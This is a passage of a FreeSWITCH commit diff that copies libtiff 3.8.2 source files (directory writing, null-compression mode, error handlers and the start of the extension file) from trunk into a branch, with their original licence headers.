+				if (!TIFFWriteDoubleArray(tif, dir, &dv))
+					return 0;
+			} else {
+				double* dp;
+				TIFFGetField(tif, fip->field_tag, &dp);
+				if (!TIFFWriteDoubleArray(tif, dir, dp))
+					return 0;
+			}
+		}
+		break;
+	case TIFF_ASCII:
+		{ 
+                    char* cp;
+                    if (fip->field_passcount)
+                        TIFFGetField(tif, fip->field_tag, &wc, &cp);
+                    else
+                        TIFFGetField(tif, fip->field_tag, &cp);
+
+                    dir->tdir_count = (uint32) (strlen(cp) + 1);
+                    if (!TIFFWriteByteArray(tif, dir, cp))
+                        return (0);
+		}
+		break;
+
+        case TIFF_BYTE:
+        case TIFF_SBYTE:          
+		if (fip->field_passcount) {
+			char* cp;
+			if (wc == (uint16) TIFF_VARIABLE2) {
+				TIFFGetField(tif, fip->field_tag, &wc2, &cp);
+				dir->tdir_count = wc2;
+			} else {	/* Assume TIFF_VARIABLE */
+				TIFFGetField(tif, fip->field_tag, &wc, &cp);
+				dir->tdir_count = wc;
+			}
+			if (!TIFFWriteByteArray(tif, dir, cp))
+				return 0;
+		} else {
+			if (wc == 1) {
+				char cv;
+				TIFFGetField(tif, fip->field_tag, &cv);
+				if (!TIFFWriteByteArray(tif, dir, &cv))
+					return 0;
+			} else {
+				char* cp;
+				TIFFGetField(tif, fip->field_tag, &cp);
+				if (!TIFFWriteByteArray(tif, dir, cp))
+					return 0;
+			}
+		}
+                break;
+
+	case TIFF_UNDEFINED:
+		{ char* cp;
+		  if (wc == (unsigned short) TIFF_VARIABLE) {
+			TIFFGetField(tif, fip->field_tag, &wc, &cp);
+			dir->tdir_count = wc;
+		  } else if (wc == (unsigned short) TIFF_VARIABLE2) {
+			TIFFGetField(tif, fip->field_tag, &wc2, &cp);
+			dir->tdir_count = wc2;
+		  } else 
+			TIFFGetField(tif, fip->field_tag, &cp);
+		  if (!TIFFWriteByteArray(tif, dir, cp))
+			return (0);
+		}
+		break;
+
+        case TIFF_NOTYPE:
+                break;
+	}
+	return (1);
+}
+
+/*
+ * Setup a directory entry with either a SHORT
+ * or LONG type according to the value.
+ */
+static void
+TIFFSetupShortLong(TIFF* tif, ttag_t tag, TIFFDirEntry* dir, uint32 v)
+{
+	dir->tdir_tag = (uint16) tag;
+	dir->tdir_count = 1;
+	if (v > 0xffffL) {
+		dir->tdir_type = (short) TIFF_LONG;
+		dir->tdir_offset = v;
+	} else {
+		dir->tdir_type = (short) TIFF_SHORT;
+		dir->tdir_offset = TIFFInsertData(tif, (int) TIFF_SHORT, v);
+	}
+}
+
+/*
+ * Setup a SHORT directory entry
+ */
+static void
+TIFFSetupShort(TIFF* tif, ttag_t tag, TIFFDirEntry* dir, uint16 v)
+{
+	dir->tdir_tag = (uint16) tag;
+	dir->tdir_count = 1;
+	dir->tdir_type = (short) TIFF_SHORT;
+	dir->tdir_offset = TIFFInsertData(tif, (int) TIFF_SHORT, v);
+}
+#undef MakeShortDirent
+
+#define	NITEMS(x)	(sizeof (x) / sizeof (x[0]))
+/*
+ * Setup a directory entry that references a
+ * samples/pixel array of SHORT values and
+ * (potentially) write the associated indirect
+ * values.
+ */
+static int
+TIFFWritePerSampleShorts(TIFF* tif, ttag_t tag, TIFFDirEntry* dir)
+{
+	uint16 buf[10], v;
+	uint16* w = buf;
+	uint16 i, samples = tif->tif_dir.td_samplesperpixel;
+	int status;
+
+	if (samples > NITEMS(buf)) {
+		w = (uint16*) _TIFFmalloc(samples * sizeof (uint16));
+		if (w == NULL) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			    "No space to write per-sample shorts");
+			return (0);
+		}
+	}
+	TIFFGetField(tif, tag, &v);
+	for (i = 0; i < samples; i++)
+		w[i] = v;
+	
+	dir->tdir_tag = (uint16) tag;
+	dir->tdir_type = (uint16) TIFF_SHORT;
+	dir->tdir_count = samples;
+	status = TIFFWriteShortArray(tif, dir, w);
+	if (w != buf)
+		_TIFFfree((char*) w);
+	return (status);
+}
+
+/*
+ * Setup a directory entry that references a samples/pixel array of ``type''
+ * values and (potentially) write the associated indirect values.  The source
+ * data from TIFFGetField() for the specified tag must be returned as double.
+ */
+static int
+TIFFWritePerSampleAnys(TIFF* tif,
+    TIFFDataType type, ttag_t tag, TIFFDirEntry* dir)
+{
+	double buf[10], v;
+	double* w = buf;
+	uint16 i, samples = tif->tif_dir.td_samplesperpixel;
+	int status;
+
+	if (samples > NITEMS(buf)) {
+		w = (double*) _TIFFmalloc(samples * sizeof (double));
+		if (w == NULL) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			    "No space to write per-sample values");
+			return (0);
+		}
+	}
+	TIFFGetField(tif, tag, &v);
+	for (i = 0; i < samples; i++)
+		w[i] = v;
+	status = TIFFWriteAnyArray(tif, type, tag, dir, samples, w);
+	if (w != buf)
+		_TIFFfree(w);
+	return (status);
+}
+#undef NITEMS
+
+/*
+ * Setup a pair of shorts that are returned by
+ * value, rather than as a reference to an array.
+ */
+static int
+TIFFSetupShortPair(TIFF* tif, ttag_t tag, TIFFDirEntry* dir)
+{
+	uint16 v[2];
+
+	TIFFGetField(tif, tag, &v[0], &v[1]);
+
+	dir->tdir_tag = (uint16) tag;
+	dir->tdir_type = (uint16) TIFF_SHORT;
+	dir->tdir_count = 2;
+	return (TIFFWriteShortArray(tif, dir, v));
+}
+
+/*
+ * Setup a directory entry for an NxM table of shorts,
+ * where M is known to be 2**bitspersample, and write
+ * the associated indirect data.
+ */
+static int
+TIFFWriteShortTable(TIFF* tif,
+    ttag_t tag, TIFFDirEntry* dir, uint32 n, uint16** table)
+{
+	uint32 i, off;
+
+	dir->tdir_tag = (uint16) tag;
+	dir->tdir_type = (short) TIFF_SHORT;
+	/* XXX -- yech, fool TIFFWriteData */
+	dir->tdir_count = (uint32) (1L<<tif->tif_dir.td_bitspersample);
+	off = tif->tif_dataoff;
+	for (i = 0; i < n; i++)
+		if (!TIFFWriteData(tif, dir, (char *)table[i]))
+			return (0);
+	dir->tdir_count *= n;
+	dir->tdir_offset = off;
+	return (1);
+}
+
+/*
+ * Write/copy data associated with an ASCII or opaque tag value.
+ */
+static int
+TIFFWriteByteArray(TIFF* tif, TIFFDirEntry* dir, char* cp)
+{
+	if (dir->tdir_count > 4) {
+		if (!TIFFWriteData(tif, dir, cp))
+			return (0);
+	} else
+		_TIFFmemcpy(&dir->tdir_offset, cp, dir->tdir_count);
+	return (1);
+}
+
+/*
+ * Setup a directory entry of an array of SHORT
+ * or SSHORT and write the associated indirect values.
+ */
+static int
+TIFFWriteShortArray(TIFF* tif, TIFFDirEntry* dir, uint16* v)
+{
+	if (dir->tdir_count <= 2) {
+		if (tif->tif_header.tiff_magic == TIFF_BIGENDIAN) {
+			dir->tdir_offset = (uint32) ((long) v[0] << 16);
+			if (dir->tdir_count == 2)
+				dir->tdir_offset |= v[1] & 0xffff;
+		} else {
+			dir->tdir_offset = v[0] & 0xffff;
+			if (dir->tdir_count == 2)
+				dir->tdir_offset |= (long) v[1] << 16;
+		}
+		return (1);
+	} else
+		return (TIFFWriteData(tif, dir, (char*) v));
+}
+
+/*
+ * Setup a directory entry of an array of LONG
+ * or SLONG and write the associated indirect values.
+ */
+static int
+TIFFWriteLongArray(TIFF* tif, TIFFDirEntry* dir, uint32* v)
+{
+	if (dir->tdir_count == 1) {
+		dir->tdir_offset = v[0];
+		return (1);
+	} else
+		return (TIFFWriteData(tif, dir, (char*) v));
+}
+
+/*
+ * Setup a directory entry of an array of RATIONAL
+ * or SRATIONAL and write the associated indirect values.
+ */
+static int
+TIFFWriteRationalArray(TIFF* tif, TIFFDirEntry* dir, float* v)
+{
+	uint32 i;
+	uint32* t;
+	int status;
+
+	t = (uint32*) _TIFFmalloc(2 * dir->tdir_count * sizeof (uint32));
+	if (t == NULL) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "No space to write RATIONAL array");
+		return (0);
+	}
+	for (i = 0; i < dir->tdir_count; i++) {
+		float fv = v[i];
+		int sign = 1;
+		uint32 den;
+
+		if (fv < 0) {
+			if (dir->tdir_type == TIFF_RATIONAL) {
+				TIFFWarningExt(tif->tif_clientdata, tif->tif_name,
+	"\"%s\": Information lost writing value (%g) as (unsigned) RATIONAL",
+				_TIFFFieldWithTag(tif,dir->tdir_tag)->field_name,
+				fv);
+				fv = 0;
+			} else
+				fv = -fv, sign = -1;
+		}
+		den = 1L;
+		if (fv > 0) {
+			while (fv < 1L<<(31-3) && den < 1L<<(31-3))
+				fv *= 1<<3, den *= 1L<<3;
+		}
+		t[2*i+0] = (uint32) (sign * (fv + 0.5));
+		t[2*i+1] = den;
+	}
+	status = TIFFWriteData(tif, dir, (char *)t);
+	_TIFFfree((char*) t);
+	return (status);
+}
+
+static int
+TIFFWriteFloatArray(TIFF* tif, TIFFDirEntry* dir, float* v)
+{
+	TIFFCvtNativeToIEEEFloat(tif, dir->tdir_count, v);
+	if (dir->tdir_count == 1) {
+		dir->tdir_offset = *(uint32*) &v[0];
+		return (1);
+	} else
+		return (TIFFWriteData(tif, dir, (char*) v));
+}
+
+static int
+TIFFWriteDoubleArray(TIFF* tif, TIFFDirEntry* dir, double* v)
+{
+	TIFFCvtNativeToIEEEDouble(tif, dir->tdir_count, v);
+	return (TIFFWriteData(tif, dir, (char*) v));
+}
+
+/*
+ * Write an array of ``type'' values for a specified tag (i.e. this is a tag
+ * which is allowed to have different types, e.g. SMaxSampleType).
+ * Internally the data values are represented as double since a double can
+ * hold any of the TIFF tag types (yes, this should really be an abstract
+ * type tany_t for portability).  The data is converted into the specified
+ * type in a temporary buffer and then handed off to the appropriate array
+ * writer.
+ */
+static int
+TIFFWriteAnyArray(TIFF* tif,
+    TIFFDataType type, ttag_t tag, TIFFDirEntry* dir, uint32 n, double* v)
+{
+	char buf[10 * sizeof(double)];
+	char* w = buf;
+	int i, status = 0;
+
+	if (n * TIFFDataWidth(type) > sizeof buf) {
+		w = (char*) _TIFFmalloc(n * TIFFDataWidth(type));
+		if (w == NULL) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			    "No space to write array");
+			return (0);
+		}
+	}
+
+	dir->tdir_tag = (uint16) tag;
+	dir->tdir_type = (uint16) type;
+	dir->tdir_count = n;
+
+	switch (type) {
+	case TIFF_BYTE:
+		{ 
+			uint8* bp = (uint8*) w;
+			for (i = 0; i < (int) n; i++)
+				bp[i] = (uint8) v[i];
+			if (!TIFFWriteByteArray(tif, dir, (char*) bp))
+				goto out;
+		}
+		break;
+	case TIFF_SBYTE:
+		{ 
+			int8* bp = (int8*) w;
+			for (i = 0; i < (int) n; i++)
+				bp[i] = (int8) v[i];
+			if (!TIFFWriteByteArray(tif, dir, (char*) bp))
+				goto out;
+		}
+		break;
+	case TIFF_SHORT:
+		{
+			uint16* bp = (uint16*) w;
+			for (i = 0; i < (int) n; i++)
+				bp[i] = (uint16) v[i];
+			if (!TIFFWriteShortArray(tif, dir, (uint16*)bp))
+				goto out;
+		}
+		break;
+	case TIFF_SSHORT:
+		{ 
+			int16* bp = (int16*) w;
+			for (i = 0; i < (int) n; i++)
+				bp[i] = (int16) v[i];
+			if (!TIFFWriteShortArray(tif, dir, (uint16*)bp))
+				goto out;
+		}
+		break;
+	case TIFF_LONG:
+		{
+			uint32* bp = (uint32*) w;
+			for (i = 0; i < (int) n; i++)
+				bp[i] = (uint32) v[i];
+			if (!TIFFWriteLongArray(tif, dir, bp))
+				goto out;
+		}
+		break;
+	case TIFF_SLONG:
+		{
+			int32* bp = (int32*) w;
+			for (i = 0; i < (int) n; i++)
+				bp[i] = (int32) v[i];
+			if (!TIFFWriteLongArray(tif, dir, (uint32*) bp))
+				goto out;
+		}
+		break;
+	case TIFF_FLOAT:
+		{ 
+			float* bp = (float*) w;
+			for (i = 0; i < (int) n; i++)
+				bp[i] = (float) v[i];
+			if (!TIFFWriteFloatArray(tif, dir, bp))
+				goto out;
+		}
+		break;
+	case TIFF_DOUBLE:
+		return (TIFFWriteDoubleArray(tif, dir, v));
+	default:
+		/* TIFF_NOTYPE */
+		/* TIFF_ASCII */
+		/* TIFF_UNDEFINED */
+		/* TIFF_RATIONAL */
+		/* TIFF_SRATIONAL */
+		goto out;
+	}
+	status = 1;
+ out:
+	if (w != buf)
+		_TIFFfree(w);
+	return (status);
+}
+
+static int
+TIFFWriteTransferFunction(TIFF* tif, TIFFDirEntry* dir)
+{
+	TIFFDirectory* td = &tif->tif_dir;
+	tsize_t n = (1L<<td->td_bitspersample) * sizeof (uint16);
+	uint16** tf = td->td_transferfunction;
+	int ncols;
+
+	/*
+	 * Check if the table can be written as a single column,
+	 * or if it must be written as 3 columns.  Note that we
+	 * write a 3-column tag if there are 2 samples/pixel and
+	 * a single column of data won't suffice--hmm.
+	 */
+	switch (td->td_samplesperpixel - td->td_extrasamples) {
+	default:	if (_TIFFmemcmp(tf[0], tf[2], n)) { ncols = 3; break; }
+	case 2:		if (_TIFFmemcmp(tf[0], tf[1], n)) { ncols = 3; break; }
+	case 1: case 0:	ncols = 1;
+	}
+	return (TIFFWriteShortTable(tif,
+	    TIFFTAG_TRANSFERFUNCTION, dir, ncols, tf));
+}
+
+static int
+TIFFWriteInkNames(TIFF* tif, TIFFDirEntry* dir)
+{
+	TIFFDirectory* td = &tif->tif_dir;
+
+	dir->tdir_tag = TIFFTAG_INKNAMES;
+	dir->tdir_type = (short) TIFF_ASCII;
+	dir->tdir_count = td->td_inknameslen;
+	return (TIFFWriteByteArray(tif, dir, td->td_inknames));
+}
+
+/*
+ * Write a contiguous directory item.
+ */
+static int
+TIFFWriteData(TIFF* tif, TIFFDirEntry* dir, char* cp)
+{
+	tsize_t cc;
+
+	if (tif->tif_flags & TIFF_SWAB) {
+		switch (dir->tdir_type) {
+		case TIFF_SHORT:
+		case TIFF_SSHORT:
+			TIFFSwabArrayOfShort((uint16*) cp, dir->tdir_count);
+			break;
+		case TIFF_LONG:
+		case TIFF_SLONG:
+		case TIFF_FLOAT:
+			TIFFSwabArrayOfLong((uint32*) cp, dir->tdir_count);
+			break;
+		case TIFF_RATIONAL:
+		case TIFF_SRATIONAL:
+			TIFFSwabArrayOfLong((uint32*) cp, 2*dir->tdir_count);
+			break;
+		case TIFF_DOUBLE:
+			TIFFSwabArrayOfDouble((double*) cp, dir->tdir_count);
+			break;
+		}
+	}
+	dir->tdir_offset = tif->tif_dataoff;
+	cc = dir->tdir_count * TIFFDataWidth((TIFFDataType) dir->tdir_type);
+	if (SeekOK(tif, dir->tdir_offset) &&
+	    WriteOK(tif, cp, cc)) {
+		tif->tif_dataoff += (cc + 1) & ~1;
+		return (1);
+	}
+	TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Error writing data for field \"%s\"",
+	    _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name);
+	return (0);
+}
+
+/*
+ * Similar to TIFFWriteDirectory(), but if the directory has already
+ * been written once, it is relocated to the end of the file, in case it
+ * has changed in size.  Note that this will result in the loss of the 
+ * previously used directory space. 
+ */ 
+
+int 
+TIFFRewriteDirectory( TIFF *tif )
+{
+    static const char module[] = "TIFFRewriteDirectory";
+
+    /* We don't need to do anything special if it hasn't been written. */
+    if( tif->tif_diroff == 0 )
+        return TIFFWriteDirectory( tif );
+
+    /*
+    ** Find and zero the pointer to this directory, so that TIFFLinkDirectory
+    ** will cause it to be added after this directories current pre-link.
+    */
+    
+    /* Is it the first directory in the file? */
+    if (tif->tif_header.tiff_diroff == tif->tif_diroff) 
+    {
+        tif->tif_header.tiff_diroff = 0;
+        tif->tif_diroff = 0;
+
+        TIFFSeekFile(tif, (toff_t)(TIFF_MAGIC_SIZE+TIFF_VERSION_SIZE),
+		     SEEK_SET);
+        if (!WriteOK(tif, &(tif->tif_header.tiff_diroff), 
+                     sizeof (tif->tif_diroff))) 
+        {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Error updating TIFF header");
+            return (0);
+        }
+    }
+    else
+    {
+        toff_t  nextdir, off;
+
+	nextdir = tif->tif_header.tiff_diroff;
+	do {
+		uint16 dircount;
+
+		if (!SeekOK(tif, nextdir) ||
+		    !ReadOK(tif, &dircount, sizeof (dircount))) {
+			TIFFErrorExt(tif->tif_clientdata, module, "Error fetching directory count");
+			return (0);
+		}
+		if (tif->tif_flags & TIFF_SWAB)
+			TIFFSwabShort(&dircount);
+		(void) TIFFSeekFile(tif,
+		    dircount * sizeof (TIFFDirEntry), SEEK_CUR);
+		if (!ReadOK(tif, &nextdir, sizeof (nextdir))) {
+			TIFFErrorExt(tif->tif_clientdata, module, "Error fetching directory link");
+			return (0);
+		}
+		if (tif->tif_flags & TIFF_SWAB)
+			TIFFSwabLong(&nextdir);
+	} while (nextdir != tif->tif_diroff && nextdir != 0);
+        off = TIFFSeekFile(tif, 0, SEEK_CUR); /* get current offset */
+        (void) TIFFSeekFile(tif, off - (toff_t)sizeof(nextdir), SEEK_SET);
+        tif->tif_diroff = 0;
+	if (!WriteOK(tif, &(tif->tif_diroff), sizeof (nextdir))) {
+		TIFFErrorExt(tif->tif_clientdata, module, "Error writing directory link");
+		return (0);
+	}
+    }
+
+    /*
+    ** Now use TIFFWriteDirectory() normally.
+    */
+
+    return TIFFWriteDirectory( tif );
+}
+
+
+/*
+ * Link the current directory into the
+ * directory chain for the file.
+ */
+static int
+TIFFLinkDirectory(TIFF* tif)
+{
+	static const char module[] = "TIFFLinkDirectory";
+	toff_t nextdir;
+	toff_t diroff, off;
+
+	tif->tif_diroff = (TIFFSeekFile(tif, (toff_t) 0, SEEK_END)+1) &~ 1;
+	diroff = tif->tif_diroff;
+	if (tif->tif_flags & TIFF_SWAB)
+		TIFFSwabLong(&diroff);
+
+	/*
+	 * Handle SubIFDs
+	 */
+        if (tif->tif_flags & TIFF_INSUBIFD) {
+		(void) TIFFSeekFile(tif, tif->tif_subifdoff, SEEK_SET);
+		if (!WriteOK(tif, &diroff, sizeof (diroff))) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+			    "%s: Error writing SubIFD directory link",
+			    tif->tif_name);
+			return (0);
+		}
+		/*
+		 * Advance to the next SubIFD or, if this is
+		 * the last one configured, revert back to the
+		 * normal directory linkage.
+		 */
+		if (--tif->tif_nsubifd)
+			tif->tif_subifdoff += sizeof (diroff);
+		else
+			tif->tif_flags &= ~TIFF_INSUBIFD;
+		return (1);
+	}
+
+	if (tif->tif_header.tiff_diroff == 0) {
+		/*
+		 * First directory, overwrite offset in header.
+		 */
+		tif->tif_header.tiff_diroff = tif->tif_diroff;
+		(void) TIFFSeekFile(tif,
+				    (toff_t)(TIFF_MAGIC_SIZE+TIFF_VERSION_SIZE),
+                                    SEEK_SET);
+		if (!WriteOK(tif, &diroff, sizeof (diroff))) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Error writing TIFF header");
+			return (0);
+		}
+		return (1);
+	}
+	/*
+	 * Not the first directory, search to the last and append.
+	 */
+	nextdir = tif->tif_header.tiff_diroff;
+	do {
+		uint16 dircount;
+
+		if (!SeekOK(tif, nextdir) ||
+		    !ReadOK(tif, &dircount, sizeof (dircount))) {
+			TIFFErrorExt(tif->tif_clientdata, module, "Error fetching directory count");
+			return (0);
+		}
+		if (tif->tif_flags & TIFF_SWAB)
+			TIFFSwabShort(&dircount);
+		(void) TIFFSeekFile(tif,
+		    dircount * sizeof (TIFFDirEntry), SEEK_CUR);
+		if (!ReadOK(tif, &nextdir, sizeof (nextdir))) {
+			TIFFErrorExt(tif->tif_clientdata, module, "Error fetching directory link");
+			return (0);
+		}
+		if (tif->tif_flags & TIFF_SWAB)
+			TIFFSwabLong(&nextdir);
+	} while (nextdir != 0);
+        off = TIFFSeekFile(tif, 0, SEEK_CUR); /* get current offset */
+        (void) TIFFSeekFile(tif, off - (toff_t)sizeof(nextdir), SEEK_SET);
+	if (!WriteOK(tif, &diroff, sizeof (diroff))) {
+		TIFFErrorExt(tif->tif_clientdata, module, "Error writing directory link");
+		return (0);
+	}
+	return (1);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dumpmode.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dumpmode.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_dumpmode.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dumpmode.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dumpmode.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,117 @@
+/* $Header: /cvs/maptools/cvsroot/libtiff/libtiff/tif_dumpmode.c,v 1.4 2005/12/21 12:23:13 joris Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ *
+ * "Null" Compression Algorithm Support.
+ */
+#include "tiffiop.h"
+
+/*
+ * Encode a hunk of pixels.
+ */
+static int
+DumpModeEncode(TIFF* tif, tidata_t pp, tsize_t cc, tsample_t s)
+{
+	(void) s;
+	while (cc > 0) {
+		tsize_t n;
+
+		n = cc;
+		if (tif->tif_rawcc + n > tif->tif_rawdatasize)
+			n = tif->tif_rawdatasize - tif->tif_rawcc;
+
+                assert( n > 0 );
+                
+		/*
+		 * Avoid copy if client has setup raw
+		 * data buffer to avoid extra copy.
+		 */
+		if (tif->tif_rawcp != pp)
+			_TIFFmemcpy(tif->tif_rawcp, pp, n);
+		tif->tif_rawcp += n;
+		tif->tif_rawcc += n;
+		pp += n;
+		cc -= n;
+		if (tif->tif_rawcc >= tif->tif_rawdatasize &&
+		    !TIFFFlushData1(tif))
+			return (-1);
+	}
+	return (1);
+}
+
+/*
+ * Decode a hunk of pixels.
+ */
+static int
+DumpModeDecode(TIFF* tif, tidata_t buf, tsize_t cc, tsample_t s)
+{
+	(void) s;
+	if (tif->tif_rawcc < cc) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "DumpModeDecode: Not enough data for scanline %d",
+		    tif->tif_row);
+		return (0);
+	}
+	/*
+	 * Avoid copy if client has setup raw
+	 * data buffer to avoid extra copy.
+	 */
+	if (tif->tif_rawcp != buf)
+		_TIFFmemcpy(buf, tif->tif_rawcp, cc);
+	tif->tif_rawcp += cc;
+	tif->tif_rawcc -= cc;
+	return (1);
+}
+
+/*
+ * Seek forwards nrows in the current strip.
+ */
+static int
+DumpModeSeek(TIFF* tif, uint32 nrows)
+{
+	tif->tif_rawcp += nrows * tif->tif_scanlinesize;
+	tif->tif_rawcc -= nrows * tif->tif_scanlinesize;
+	return (1);
+}
+
+/*
+ * Initialize dump mode.
+ */
+int
+TIFFInitDumpMode(TIFF* tif, int scheme)
+{
+	(void) scheme;
+	tif->tif_decoderow = DumpModeDecode;
+	tif->tif_decodestrip = DumpModeDecode;
+	tif->tif_decodetile = DumpModeDecode;
+	tif->tif_encoderow = DumpModeEncode;
+	tif->tif_encodestrip = DumpModeEncode;
+	tif->tif_encodetile = DumpModeEncode;
+	tif->tif_seek = DumpModeSeek;
+	return (1);
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_error.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_error.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_error.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_error.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_error.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,73 @@
+/* $Header: /cvs/maptools/cvsroot/libtiff/libtiff/tif_error.c,v 1.4 2005/12/23 01:18:59 joris Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ */
+#include "tiffiop.h"
+
+TIFFErrorHandlerExt _TIFFerrorHandlerExt = NULL;
+
+TIFFErrorHandler
+TIFFSetErrorHandler(TIFFErrorHandler handler)
+{
+	TIFFErrorHandler prev = _TIFFerrorHandler;
+	_TIFFerrorHandler = handler;
+	return (prev);
+}
+
+TIFFErrorHandlerExt
+TIFFSetErrorHandlerExt(TIFFErrorHandlerExt handler)
+{
+	TIFFErrorHandlerExt prev = _TIFFerrorHandlerExt;
+	_TIFFerrorHandlerExt = handler;
+	return (prev);
+}
+
+void
+TIFFError(const char* module, const char* fmt, ...)
+{
+	va_list ap;
+	va_start(ap, fmt);
+	if (_TIFFerrorHandler)
+		(*_TIFFerrorHandler)(module, fmt, ap);
+	if (_TIFFerrorHandlerExt)
+		(*_TIFFerrorHandlerExt)(0, module, fmt, ap);
+	va_end(ap);
+}
+
+void
+TIFFErrorExt(thandle_t fd, const char* module, const char* fmt, ...)
+{
+	va_list ap;
+	va_start(ap, fmt);
+	if (_TIFFerrorHandler)
+		(*_TIFFerrorHandler)(module, fmt, ap);
+	if (_TIFFerrorHandlerExt)
+		(*_TIFFerrorHandlerExt)(fd, module, fmt, ap);
+	va_end(ap);
+}
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_extension.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_extension.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_extension.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_extension.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_extension.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,111 @@
+/* $Header: /cvs/maptools/cvsroot/libtiff/libtiff/tif_extension.c,v 1.4 2004/10/02 13:29:41 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ *
+ * Various routines support external extension of the tag set, and other
